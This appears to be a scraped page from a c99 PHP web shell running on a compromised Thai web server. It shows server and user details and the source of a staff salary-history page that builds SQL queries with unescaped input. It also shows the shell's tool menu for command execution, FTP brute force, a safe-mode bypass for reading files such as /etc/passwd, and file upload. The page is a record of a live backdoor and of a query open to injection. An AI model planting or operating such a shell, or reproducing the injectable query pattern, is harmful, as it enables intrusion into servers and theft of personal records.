!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditHistoryList.php (10.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority"))
 {
 
$Username $valid_user;
 
$Password $password;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
ConnectDB();
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
//$Teacher_code = $rss[Teacher_code];
$sql2 "Select * FROM history_position_tb Where Teacher_code='$Teacher_code' Order By Salary Asc";
$result2 mysql_query($sql2) or die(" Error").mysql_error();
$num mysql_num_rows($result2);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style2 {font-size: 14px}
-->
</style>
<table width="816" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="816"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Develop.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="Addposition.php?Teacher_code=<? echo $rss[Teacher_code?>">เพิ่มข้อมูลประวัติการดำรงตำแหน่ง</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />แก้ไขข้อมูลประวัติการดำรงตำแหน่ง</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="">
                <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
                  <tr>
                    <td colspan="2" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
                  </tr>
                  <tr>
                    <td width="26%" bgcolor="#FFFFFF"><div align="center" class="style2"><font face="Tahoma">ชื่อ-นามสกุล </font></div></td>
                    <td width="74%" bgcolor="#FFFFFF"><div align="left"><font color="#003366" size="2" face="Tahoma"> &nbsp; <?php echo $rss[First_name] ;?> <?php echo $rss[Teacher_name] ;?> <? echo $rss[Teacher_lastname];?></font></div></td>
                  </tr>
                  <tr>
                    <td bgcolor="#FFFFFF"><div align="center" class="style2"><font face="Tahoma">ตำแหน่งทางราชการปัจจุบัน </font></div></td>
                    <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font><font color="#003366" size="2" face="Tahoma"> <?php echo $rss[Gover_pos] ;?></font></td>
                  </tr>
                </table>
                <table width="97%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#FFFFFF" style="border:0px solid gray">
                  <tr bgcolor="#DFEBF9">
                    <td height="21" colspan="9" bgcolor="#FFFFFF"><div align="center" class="style2"><font color="#003366" face="Tahoma">&nbsp;<font color="#CC0000">แก้ไข</font>&nbsp;ประวัติการดำรงตำแหน่ง</font></div></td>
                  </tr>
                  <tr bordercolor="#0066CC" bgcolor="#D9ECFF">
                    <td width="25" align="center" style="border:1px solid gray"><font color="#000000" size="2" face="Tahoma">ที่</font></td>
                    <td width="87" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">วันที่บังคับใช้</font></td>
                    <td width="94" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">เลขที่ตำแหน่ง</font></td>
                    <td width="209" align="center"  style="border:1px solid gray"><font color="#000000" size="2" face="Tahoma">ตำแหน่งทางราชการ</font></td>
                    <td width="37" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">ระดับ</font></td>
                    <td width="61" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">เงินเดือน</font></td>
                    <td width="194" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">คำสั่ง</font></td>
                    <td colspan="2" align="center" style="border:1px solid gray"><font size="2" face="Tahoma">กระทำการ</font></td>
                  </tr>
                  <?
$i 
1;
 while(
$rs mysql_fetch_array($result2))
 {

     if(
$count==0)
     {
?>
                  <tr bgcolor="#F9FEFF">
                    <td height="21" align="center" bordercolor="#EBFAFE"><font color="#003366" size="2" face="Tahoma">
                      <?=$i?>
                    </font></td>
                    <td bordercolor="#EBFAFE"><div align="center"><font color="#003366" size="2" face="Tahoma">
                        <?php 
       $dday 
$rs[Date_post];
    
$yearthai explode("-",$dday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
                    </font></div></td>
                    <td bordercolor="#EBFAFE"><div align="center"><font size="2" face="Tahoma"></font><font color="#003366" size="2" face="Tahoma"><?php echo $rs[Position_id] ;?></font></div></td>
                    <td bordercolor="#EBFAFE"><font color="#003366" size="2" face="Tahoma">
                      <?php 
      
echo "$rs[Gover_pos]";
      
?>
                    </font></td>
                    <td bordercolor="#EBFAFE"><div align="center"><font color="#003366" size="2" face="Tahoma">
                        <?php 
      
echo "$rs[Level]";
      
?>
                    </font></div></td>
                    <td bordercolor="#EBFAFE"><div align="right"><font color="#003366" size="2" face="Tahoma">
                        <?php 
      
echo number_format($rs['Salary'],2,'.',','); 
      
?>
                      &nbsp; </font></div></td>
                    <td bordercolor="#EBFAFE" bgcolor="#F9FEFF"><font color="#003366" size="2" face="Tahoma">
                      <?php 
      
echo "$rs[Order_id]";
      
?>
                    </font></td>
                    <td width="32" bordercolor="#E9FAFE" bgcolor="#F9FEFF"><div align="center"><strong><font size="2" face="Tahoma"><a href="Edit_Pos_History.php?code=<? echo $rs[code]?>"><img src="../picture/edit.gif" width="16" height="16" border="0" alt="แก้ไข" /></a></font></strong></div></td>
                    <td width="39" bordercolor="#E9FAFE" bgcolor="#F9FEFF"><div align="center"><strong><font size="2" face="Tahoma">
                    <script language="JavaScript" type="text/javascript">
function Conf<?=$rs[code];?>0(object) {
    if (confirm("คุณต้องการลบข้อมูล [<?php echo " $rs[code]  วันที่ดำรงตำแหน่ง $rs[Date_post]"?>] หรือไม่?") == true) {
        return true;
    }
    return false;
}
                        </script>
                    <a href="DelHistory.php?code=<?php echo $rs[code]; ?>&amp;&amp;Teacher_code=<?php echo $rss[Teacher_code];?>"> <img src="../picture/deletenew.gif" alt=" Delete " width="16" height="19" border="0" onclick="return Conf<?=$rs[code];?>0(this)" /></a> </font></strong></div></td>
                  </tr>
                  <?
    $count
=1;
     }
else
{
?>
                  <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF">
                    <td align="center"><font color="#003366" size="2" face="Tahoma">
                      <?=$i?>
                    </font></td>
                    <td><div align="center"><font color="#003366" size="2" face="Tahoma">
                        <?php 
       $dday 
$rs[Date_post];
    
$yearthai explode("-",$dday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
                    </font></div></td>
                    <td><div align="center"><font size="2" face="Tahoma"></font><font color="#003366" size="2" face="Tahoma"><?php echo $rs[Position_id] ;?></font></div></td>
                    <td><font color="#003366" size="2" face="Tahoma">
                      <?php 
      
echo "$rs[Gover_pos]";
      
?>
                    </font></td>
                    <td><div align="center"><font color="#003366" size="2" face="Tahoma">
                        <?php 
      
echo "$rs[Level]";
      
?>
                    </font></div></td>
                    <td><div align="right"><font color="#003366" size="2" face="Tahoma">
                        <?php 
      
echo number_format($rs['Salary'],2,'.',','); 
      
?>
                      &nbsp; </font></div></td>
                    <td><font color="#003366" size="2" face="Tahoma">
                      <?php 
      
echo "$rs[Order_id]";
      
?>
                    </font></td>
                    <td bgcolor="#FFFFFF"><div align="center"><strong><font size="2" face="Tahoma"><a href="Edit_Pos_History.php?code=<? echo $rs[code]?>"><img src="../picture/edit.gif" width="16" height="16" border="0" alt="แก้ไข" /></a></font></strong></div></td>
                    <td bgcolor="#FFFFFF"><div align="center"><strong><font size="2" face="Tahoma">
                      <script language="JavaScript" type="text/javascript">
function Conf<?=$rs[code];?>0(object) {
    if (confirm("คุณต้องการลบข้อมูล [<?php echo " $rs[code]  วันที่ดำรงตำแหน่ง $rs[Date_post]"?>] หรือไม่?") == true) {
        return true;
    }
    return false;
}
                        </script>
                    <a href="DelHistory.php?code=<?php echo $rs[code]; ?>&amp;&amp;Teacher_code=<?php echo $rss[Teacher_code];?>"> <img src="../picture/deletenew.gif" alt=" Delete " width="16" height="19" border="0" onclick="return Conf<?=$rs[code];?>0(this)" /></a> </font></strong></div></td>
                  </tr>
                  <?
$count
=0;
}
$i++;
 }    
?>
                  <tr bgcolor="#D9ECFF">
                    <td colspan="9" align="center" bgcolor="#FFFFFF"><div align="center"><strong><font color="#003366" size="2" face="Tahoma">ทั้งหมด</font><font color="#FF0000" size="2" face="Geneva, Arial, Helvetica, sans-serif"> <? echo $num ?><font color="#003399" face="Tahoma"> รายการ</font> </font></strong></div></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0075 ]--